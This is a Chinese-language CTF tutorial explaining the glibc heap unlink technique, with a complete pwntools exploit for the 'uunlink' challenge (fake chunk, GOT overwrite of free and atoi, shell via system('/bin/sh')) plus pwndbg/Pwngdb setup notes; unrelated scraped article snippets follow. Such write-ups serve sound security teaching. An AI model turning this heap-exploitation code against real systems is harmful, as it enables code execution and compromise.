Unlink

article/2025/9/14 4:12:48
  • Author:ZERO-A-ONE
  • Date:2021-07-03

一、unlink的原理

  • 简介:俗称脱链,就是将链表头处的free堆块unsorted bin中脱离出来然后和物理地址相邻的新free的堆块合并成大堆块(向前合并或者向后合并),再放入到unsorted bin中

  • 危害原理:通过伪造free状态的fake_chunk,伪造fd指针和bk指针,通过绕过unlink的检测实现unlink,unlink就会往p所在的位置写入p-0x18,从而实现任意地址写的漏洞

  • 漏洞产生原因:offbynull、offbyone、堆溢出,修改了堆块的使用标志位

相关源码的说明情况如下:

/*malloc.c  int_free函数中*/
/*这里p指向当前malloc_chunk结构体*/
if (!prev_inuse(p)) {prevsize = p->prev_size;size += prevsize;
//修改指向当前chunk的指针,指向前一个chunk。p = chunk_at_offset(p, -((long) prevsize)); unlink(p, bck, fwd);
}   
//相关函数说明:
#define chunk_at_offset(p, s)  ((mchunkptr) (((char *) (p)) + (s))) 
/*unlink操作的实质就是:将P所指向的chunk从双向链表中移除,这里BK与FD用作临时变量*/
#define unlink(P, BK, FD) {                                            \FD = P->fd;                                   \BK = P->bk;                                   \if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                      malloc_printerr (check_action, "corrupted double-linked list", P, AV);FD->bk = BK;                                  \BK->fd = FD;                                  \...
}

二、unlink的绕过&利用

伪造如下:

chunk = 0x0602280(P是将要合并到的堆地址,P存在于chunk中,相当于*chunk=P)
P_fd = chunk-0x18 = 0x602268
P_bk = chunk-0x10 = 0x602270

绕过技巧:

define unlink(P, BK, FD) {                                            \FD = P->fd;                                   \FD = 0x602268BK = P->bk;                                   \BK = 0x602270if (__builtin_expect (FD->bk != P || BK->fd != P, 0))    \FD->bk  = *(0x602268+0x18) | *(0x602280) = P \ BK->fd = *(0x602270+0x10) = *(0x602280) = P ,绕过!              malloc_printerr (check_action, "corrupted double-linked list", P, AV);FD->bk = BK;                                  \*(0x602268+0x18) | *(0x602280)  = 0x602270BK->fd = FD;                                  \ *(0x602270+0x10) | *(0x602280) = 0x602268...
}

最终效果就是往chunk里面写入了chunk-0x18的值!

三、做题实践

3.1 uulink

首先检查一下程序的编译情况

(base) syc@ubuntu:~/Desktop/unlink$ checksec uunlink
[*] '/home/syc/Desktop/unlink/uunlink'Arch:     amd64-64-littleRELRO:    Partial RELROStack:    Canary foundNX:       NX enabledPIE:      No PIE (0x400000)

然后打开IDA进行静态分析

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{int v3; // [rsp+2Ch] [rbp-4h]init();while ( 1 ){while ( 1 ){menu();read_0(nptr, 16LL);v3 = atoi(nptr);if ( v3 != 1 )break;add(nptr);}if ( v3 == 3 ){delete(nptr);}else if ( v3 == 2 ){show(nptr);}else if ( v3 == 4 ){edit(nptr);}else{if ( v3 == 5 )exit(0);puts("Invalid choice!");}}
}

是一道经典的菜单题

int menu()
{puts("\n***********************");puts("Welcome to the magic book world!");puts("***********************");puts("1.create a book");puts("2.show the content");puts("3.throw a book");puts("4.write something on the book");puts("5.exit the world");return printf("Your choice: ");
}

我们可以发现add功能

int add()
{int result; // eaxint size; // [rsp+Ch] [rbp-14h]int v2; // [rsp+10h] [rbp-10h]int v3; // [rsp+14h] [rbp-Ch]unsigned __int64 v4; // [rsp+18h] [rbp-8h]v4 = __readfsqword(0x28u);printf("Give me a book ID: ");__isoc99_scanf("%d", &v2);printf("how long: ", &v2);__isoc99_scanf("%d", &size);result = v2;if ( v2 >= 0 ){result = v2;if ( v2 <= 49 ){if ( size < 0 || chunk[v2] ){result = puts("too large!");}else{v3 = v2;chunk[v3] = malloc(size);::size[v3] = size;result = puts("Done!\n");}}}return result;
}

我们可以通过输入ID和size,在chunk数组的ID位置通过malloc分配一块size大小的内存区域

我们再检查一下delete函数

__int64 delete()
{int v1; // [rsp+0h] [rbp-10h]unsigned int v2; // [rsp+4h] [rbp-Ch]unsigned __int64 v3; // [rsp+8h] [rbp-8h]v3 = __readfsqword(0x28u);v1 = 0;puts("Which one to throw?");__isoc99_scanf("%d", &v1);if ( v1 <= 50 && v1 >= 0 ){if ( chunk[v1] ){free(chunk[v1]);chunk[v1] = 0LL;v2 = puts("Done!\n");}}else{v2 = puts("Wrong!\n");}return v2;
}

是正常的free操作并将指针清零

我们再检查一下edit操作

int edit()
{int v1; // [rsp+0h] [rbp-10h]unsigned int v2; // [rsp+4h] [rbp-Ch]unsigned __int64 v3; // [rsp+8h] [rbp-8h]v3 = __readfsqword(0x28u);printf("Which book to write?");__isoc99_scanf("%d", &v1);printf("how big?", &v1);__isoc99_scanf("%d", &v2);if ( chunk[v1] ){printf("Content: ", &v2);read_0(chunk[v1], v2);}return puts("Done!\n");
}

需要我们提供需要编辑的chunk的编号和chunk的大小

其中还有一个read_0函数

__int64 __fastcall read_0(__int64 a1, int a2)
{unsigned int i; // [rsp+18h] [rbp-28h]char buf; // [rsp+20h] [rbp-20h]unsigned __int64 v5; // [rsp+38h] [rbp-8h]v5 = __readfsqword(0x28u);for ( i = 0; (signed int)i <= a2; ++i ){read(0, &buf, 1uLL);if ( buf == 10 )break;*(_BYTE *)(a1 + (signed int)i) = buf;	//unlink}return i;
}

这里存在一个漏洞,我们的chunk的内存大小可以看作[size]形式的数组,如果是小于等于size写入内存,会造成多写入一字节的内容,也就是offbyone,溢出了单字节,这里提供了我们unlink的基础

然后这题也并没有开启PIE也满足了我们unlink的需求

对于菜单题,我们书写EXP首先要做的是把相关的操作函数编写好

sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()def malloc(index,size):ru("Your choice: ")sl('1')ru("Give me a book ID: ")sl(str(index))ru("how long: ")sl(str(size))def free(index):ru("Your choice: ")sl('3')ru("Which one to throw?")sl(str(index))def edit(index,size,content):ru("Your choice: ")sl('4')ru("Which book to write?")sl(str(index))ru("how big?")sl(str(size))ru("Content: ")sl(content)

我们先分配几个chunk供我们unlink操作

malloc(0,0x30)
malloc(1,0xf0)
malloc(2,0x100)
malloc(3,0x100)

假设我们要unlink的堆块是0号块,则我们需要寻找0号块的地址在哪里,因为没有开启PIE,我们可以直接找到

.bss:0000000000602300 ; void *chunk[50]
.bss:0000000000602300 chunk           dq ?                    ; DATA XREF: init+7C↑o
.bss:0000000000602300                                         ; add+83↑r ...
.bss:0000000000602308                 db    ? ;
.bss:0000000000602309                 db    ? ;
.bss:000000000060230A                 db    ? ;
.bss:000000000060230B                 db    ? ;
.bss:000000000060230C                 db    ? ;

不难发现0号块的地址就应该保存在chunk数组的第0位,也就是0x602300,则0号块就成为我们伪造堆块的P块,根据伪造的规则,我们应该开始伪造fd和bk

fd = 0x00602300-0x18
bk = 0x00602300-0x10

之后我们可以开始伪造,我们回忆一下chunk的基本构造

已被分配且填写了相应数据的chunk:
在这里插入图片描述

被释放掉的malloced chunk成为free chunk:
在这里插入图片描述

因为我们的P块申请的时候大小是0x30,所以我们在P块内部构造的fake chunk的大小就是30,fd和bk指针如上

py = ''
py += p64(0) + p64(0x31)
py += p64(fd) + p64(bk)
py += p64(0) + p64(0)
py += p64(0x30) + p64(0x100)

在写入伪造的堆块之前,我们先看看内存中堆块的布局和内容,操作方式是在edit之前加入debug(0)
在这里插入图片描述
在这里插入图片描述

然后查看写入伪造的堆块后
在这里插入图片描述

我们可以发现我们在P块里伪造了两个个chunk

第一个:

+0010 0x130f010  00 00 00 00  00 00 00 00  31 00 00 00  00 00 00 00  
+0020 0x130f020  e8 22 60 00  00 00 00 00  f0 22 60 00  00 00 00 00  
+0030 0x130f030  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  

第二个:

+0040 0x130f040  30 00 00 00  00 00 00 00  00 01 00 00  00 00 00 00 
+0050 0x130f050  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  

这样的结果就是我们原来放在0x130f040的块标志位被修改成00,认为前面的块已经被释放了,所以我们可以发现系统显示第一个0x130f000的状态是Freed

我们又知道chunk的第0块放在0x602300,我们使用telescope来做检查
在这里插入图片描述

如果此时我们free掉第1块,也就是0x130f040则会触发unlink机制,

我们根据unlink的源码

define unlink(P, BK, FD) {                                            \FD = P->fd;                                   \FD = 0x602268BK = P->bk;                                   \BK = 0x602270if (__builtin_expect (FD->bk != P || BK->fd != P, 0))    \FD->bk  = *(0x602268+0x18) | *(0x602280) = P \ BK->fd = *(0x602270+0x10) = *(0x602280) = P ,绕过!              malloc_printerr (check_action, "corrupted double-linked list", P, AV);FD->bk = BK;                                  \*(0x602268+0x18) | *(0x602280)  = 0x602270BK->fd = FD;                                  \ *(0x602270+0x10) | *(0x602280) = 0x602268...
}
  • 此时:*chunk[0] = P = 0x130f010
  • FD = P-> fd = *(0x130f010+0x10) =0x6022e8
  • BK = P-> bk = *(0x130f010+0x18)= 06022f0
  • FD->bk = *(0x6022e8+0x18) = *0x602230 = 0x130f010
  • BK->fd = *(0x6022f0+0x10)= *0x602230 = 0x130f010

我们现在释放chunk[1]
在这里插入图片描述

我们可以发现堆块发生了合并,0x130f010加入了unsorted bin中,同时P与后面合并的结果就是*chunk[0] = P - 0x18 = 0x6022e8
在这里插入图片描述

这样我们再次edit chunk[0]就是可以修改0x6022e8
在这里插入图片描述

那么我们就可以修改chunk列表,可以把chunk对应的堆地址修改掉,比如说我们把堆修改成free hook,那我们就有机会edit free hook,或者修改got表

那我们可以先填充a,然后写入free和atoi的got表,暴露真实地址

py = ''
py += 'a'*0x18
py += p64(atoi_got)
py += p64(atoi_got)
py += p64(free_got)

然后edit堆块,我们看一下效果
在这里插入图片描述

我们可以发现成功在堆块指针中写入了got表,那我们再次edit对应的堆块则能直接修改got表

然后我们发现chunk[2](chunk+0x16)对应的是free的got表,我们可以将free修改为puts函数,同时将0号块的地址打印出来,也就是atoi的got表的真实地址

edit(2,0x10,p64(puts_plt))

在这里插入图片描述

然后我们将atoi的got表修改为system函数
在这里插入图片描述

addr = u64(rc(6).ljust(8,'\x00'))-libc.sym["atoi"]
print "addr--->"+hex(addr)
system = addr + libc.sym["system"]
gdb.attach(p,"b *0x00000000000000400C53")
edit(1,0x10,p64(system))
# bk(0)
ru("Your choice: ")
sl('/bin/sh\x00')
p.interactive()

完整的EXP:

#coding=utf8
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
local = 1
elf = ELF('./uunlink')
if local:p = process('./uunlink')libc = elf.libc
else:p = remote('172.16.229.161',7001)libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#onegadget64(libc.so.6)  0x45216  0x4526a  0xf02a4  0xf1147
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
def bk(addr):gdb.attach(p,"b *"+str(hex(addr)))
def debug(addr,PIE=True):if PIE:text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)gdb.attach(p,'b *{}'.format(hex(text_base+addr)))else:gdb.attach(p,"b *{}".format(hex(addr)))def malloc(index,size):ru("Your choice: ")sl('1')ru("Give me a book ID: ")sl(str(index))ru("how long: ")sl(str(size))def free(index):ru("Your choice: ")sl('3')ru("Which one to throw?")sl(str(index))def edit(index,size,content):ru("Your choice: ")sl('4')ru("Which book to write?")sl(str(index))ru("how big?")sl(str(size))ru("Content: ")sl(content)atoi_got = elf.got["atoi"]
free_got = elf.got["free"]
puts_plt = elf.sym["puts"]
malloc(0,0x30)
malloc(1,0xf0)
malloc(2,0x100)
malloc(3,0x100)
fd = 0x00602300-0x18
bk = 0x00602300-0x10
py = ''
py += p64(0) + p64(0x31)
py += p64(fd) + p64(bk)
py += p64(0) + p64(0)
py += p64(0x30) + p64(0x100)
#debug(0)
edit(0,0x60,py)
# gdb.attach(p,"b *0x000000000400BA0")
free(1)
py = ''
py += 'a'*0x18
py += p64(atoi_got)
py += p64(atoi_got)
py += p64(free_got)edit(0,0x60,py)
debug(0)
# gdb.attach(p,"b *0x0000000000400C89")
edit(2,0x10,p64(puts_plt))
free(0)
rc(1)
addr = u64(rc(6).ljust(8,'\x00'))-libc.sym["atoi"]
print "addr--->"+hex(addr)
system = addr + libc.sym["system"]
gdb.attach(p,"b *0x00000000000000400C53")
edit(1,0x10,p64(system))
# bk(0)
ru("Your choice: ")
sl('/bin/sh\x00')
p.interactive()

四、pwndbg+pwndbg联合使用

先安装pwngdb,pwngdb的功能特别广泛,主要如下

libc : Print the base address of libc
ld : Print the base address of ld
codebase : Print the base of code segment
heap : Print the base of heap
got : Print the Global Offset Table infomation
dyn : Print the Dynamic section infomation
findcall : Find some function call
bcall : Set the breakpoint at some function call
tls : Print the thread local storage address
at : Attach by process name
findsyscall : Find the syscall
fmtarg : Calculate the index of format string
You need to stop on printf which has vulnerability.
force : Calculate the nb in the house of force.
heapinfo : Print some infomation of heap
heapinfo (Address of arena)
default is the arena of current thread
If tcache is enable, it would show infomation of tcache entry
heapinfoall : Print some infomation of heap (all threads)
arenainfo : Print some infomation of all arena
chunkinfo: Print the infomation of chunk
chunkinfo (Address of victim)
chunkptr : Print the infomation of chunk
chunkptr (Address of user ptr)
mergeinfo : Print the infomation of merge
mergeinfo (Address of victim)
printfastbin : Print some infomation of fastbin
tracemalloc on : Trace the malloc and free and detect some error .
You need to run the process first than tracemalloc on, it will record all of the malloc and free.
You can set the DEBUG in pwngdb.py , than it will print all of the malloc and free infomation such as the screeshot.
parseheap : Parse heap layout
magic : Print useful variable and function in glibc
fp : show FILE structure
fp (Address of FILE)
fpchain: show linked list of FILE
orange : Test house of orange condition in the _IO_flush_lockp
orange (Address of FILE)
glibc version <= 2.23

安装教程:

cd ~/
git clone https://github.com/scwuaptx/Pwngdb.git 
cp ~/Pwngdb/.gdbinit ~/

然后再安装pwndbg

安装教程:

git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh

然后开始开始编辑

$ vim ~/.gdbinit
source ~/pwndbg/gdbinit.py
#source ~/peda/peda.py
source ~/Pwngdb/pwngdb.py
source ~/Pwngdb/angelheap/gdbinit.pydefine hook-run
python
import angelheap
angelheap.init_angelheap()
end
end

在这里插入图片描述


http://chatgpt.dhexx.cn/article/UnahPprT.shtml

相关文章

unlink快速入门

0x01 正常unlink 当一个bin从记录bin的双向链表中被取下时&#xff0c;会触发unlink。常见的比如&#xff1a;相邻空闲bin进行合并&#xff0c;malloc_consolidate时。unlink的过程如下图所示&#xff08;来自CTFWIKI&#xff09;主要包含3个步骤&#xff0c;就是这么简单。 …

Linux常用命令——unlink命令

在线Linux命令查询工具(http://www.lzltool.com/LinuxCommand) unlink 系统调用函数unlink去删除指定的文件 补充说明 unlink命令用于系统调用函数unlink去删除指定的文件。和rm命令作用一样&#xff0c;都是删除文件。 语法 unlink(选项)(参数)选项 --help&#xff1a;…

element table表格,动态生成表头,基于可拖拽组件,拖动排序

效果展示 使用步骤 所需页面根据解释粘入 表格页面(父组件).txt 中代码&#xff0c; 引入dragList.vue组件 1.表格页面(父组件) <dragList radio"ssss" ></dragList> //引用子组件<el-tablev-if"asa":data"tableData"ro…

vue-draggable的多列拖动与拷贝拖拽(不删除源数据列)

vue-draggable的多列拖动与拷贝拖拽&#xff08;不删除源数据列&#xff09; Demo所用属性所遇困难源码 Demo 官方文档 录屏软件&#xff1a;screenToGif (将视频转为Gif&#xff0c;我认为简单又好操作) 我深知&#xff0c;文字的感知不如图片&#xff0c;图片的感知不如视频…

【JavaScript】列表拖拽升级,支持双击添加和时间轴左右拖动

TOC H5实现时间揍拖动 实现双击文件列表的项添加到时间揍的最后一条。 时间轴里可以左右拖动位置。 主要代码&#xff1a; /*** 时间轴拖动结束* param $event* constructor*/ const lineDragEnd ( $event ) > {console.log( 时间轴拖动结束 , $event )console.log(移动了,…

echarts拖拽echarts实现多条可拖动节点的折线图

<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <script src="js/echarts/echarts.js"></script> <title>在指定位置画多个点</title> <style> …

html拖拽页面特效,div+css实现网页模块或栏目拖动(即拖拽效果)

//为Number增加一个属性,判断当前数据类型是否是数字 Number.prototype.NaN0function(){return isNaN(this)?0:this;} //全局变量 var iMouseDownfalse; var dragObjectnull; //获得鼠标的偏移量(对象2-对象1) function getMouseOffset(target,ev) { evev||window.event; var …

RecyclerView实现Item可拖拽(拖动、删除)

RecyclerView实现Item可拖拽&#xff08;拖动、删除&#xff09; 话不多说&#xff0c;先附上效果图&#xff1a; ItemTouchHelper 这是一个RecyclerView的工具&#xff0c;提供了drag & swipe 的功能&#xff0c;可以帮助我们处理RecyclerView中的Item的拖拽和滑动事件…

原生drag拖拽后元素过大,挡住其他可拖动位置无法拖动问题

写一个蒙层&#xff0c;还未拖动前原始层在上面&#xff0c; 拖动那过程中&#xff08;dragover&#xff09;原始层在下面&#xff0c; 拖进目标元素后&#xff08;drop&#xff09;&#xff0c;此时蒙层在上面&#xff0c;根据drop的$event获取落在蒙层哪个div上&#xff0c…

html5播放器禁止拖拽功能实例(教学内容禁止拖动观看)

html5播放器禁止拖拽功能实例&#xff08;常用于场景&#xff1a;企业培训、在线教学内容禁止学员拖动视频进行观看&#xff09; 实例1&#xff1a;参数开启后&#xff0c;视频教学内容或视频课件将不允许拖动进度条。 <div id"player"></div> <scr…

html5播放器禁止拖拽、视频禁止拖动的实例

阿酷TONY / 2023-3-8 / 长沙 html5播放器禁止拖拽功能,常用于场景&#xff1a;企业培训、在线教学内容禁止学员拖动视频进行观看。 应用代码实例&#xff1a; <div id"player"></div> <script src"//player.polyv.net/script/player.js">…

WPF TreeView拖动排序拖拽排列

底部附有Demo示例。需要的朋友可以去下载参考 一、图示 先上图&#xff0c;不知为啥&#xff0c;GIF总看起来特别卡&#xff0c;实际却很流畅。 由于录制问题&#xff0c;GIF动画只会播放一次&#xff0c;需要重复观看的&#xff0c;请将网页关闭后重新打开再观看 WPF的资料…

js原生拖拽的两种方法

一.mousedown、mousemove和mouseup 拖着目标元素在页面任意位置 如果要设置物体拖拽&#xff0c;那么必须使用三个事件&#xff0c;并且这三个事件的使用顺序不能颠倒。 1.onmousedown&#xff1a;鼠标按下事件 2.onmousemove&#xff1a;鼠标移动事件 3.onmouseup&#xff…

前端原生拖拽(drag drop)的一点小总结

新工作中&#xff0c;第一个手生的功能&#xff0c;遇到了很多诡异的问题&#xff0c;今天终于解惑了。最终原因还是对代码没有透彻的了解&#xff0c;jquery的运用也不熟练导致的。稍稍的记录一下。 原始功能 对项目列表中的元素进行拖拽&#xff0c;拖拽到一定的位置&#xf…

Vue2 _ 实现拖拽功能

老项目重构&#xff0c;其中有一些拖拽功能&#xff0c;不过用的是两个开源 JS 拖拽文件实现的效果&#xff0c;版本太老了&#xff0c;所以需要换代了&#xff0c;然后就查阅了能够用 Vue 来简单快速实现拖拽的功能实现方法 &#xff1a; 目录 一、HTML 拖放 二、Vue.Dragg…

vue2 使用 Sortable 库进行拖拽操作

一、vue 项目使用 文档地址&#xff1a; https://www.itxst.com/sortablejs/neuinffi.html 1、安装依赖 npm i -S vuedraggable2、.vue 文件引入组件 import draggable from "vuedraggable"; components: { draggable },3、.使用 查看文档中的示例即可&#xff…

空指针、悬空指针、野指针

文章目录 前言一、指针&#xff1f;二、指针的应用场景三、 空指针四、 悬空指针五、 野指针正确用法 总结 前言 相信很多小伙伴对指针的使用都有一定的了解了。但更多的人可能对指针又爱又恨。这次我们谈点重要的&#xff0c;进一步加深对指针的理解 一、指针&#xff1f; 指…

【C语言】指针(野指针)

目录 1&#xff1a;什么是野指针&#xff1f; 2&#xff1a;如何规避野指针 1.1&#xff1a;指针变量的初始化 2.2&#xff1a;指针越界访问 3.3&#xff1a;指针指向的空间如果我们还回去的话&#xff0c;就把指针指针置为NULL 4.4&#xff1a;指针使用之前检查有效性…

C语言的野指针

1.野指针 指针变量中的值是非法的内存地址&#xff0c;进而形成野指针野指针不是NULL指针&#xff0c;是指向不可用内存地址的指针NULL指针并无危害&#xff0c;很好判断&#xff0c;也很好调试C语言中无法判断一个指针所保存的地址是否合法&#xff0c;合法的地址是通过变量或…

初识C语言---野指针

野指针概念&#xff1a; 野指针就是指针指向的位置是不可知的&#xff08;随机的、不正确的、没有明确限制的&#xff09;。 一、野指针成因 1、指针未初始化就使用 #include<stdio.h> int main() {int* p; *p 10; return 0; }此段代码中&#…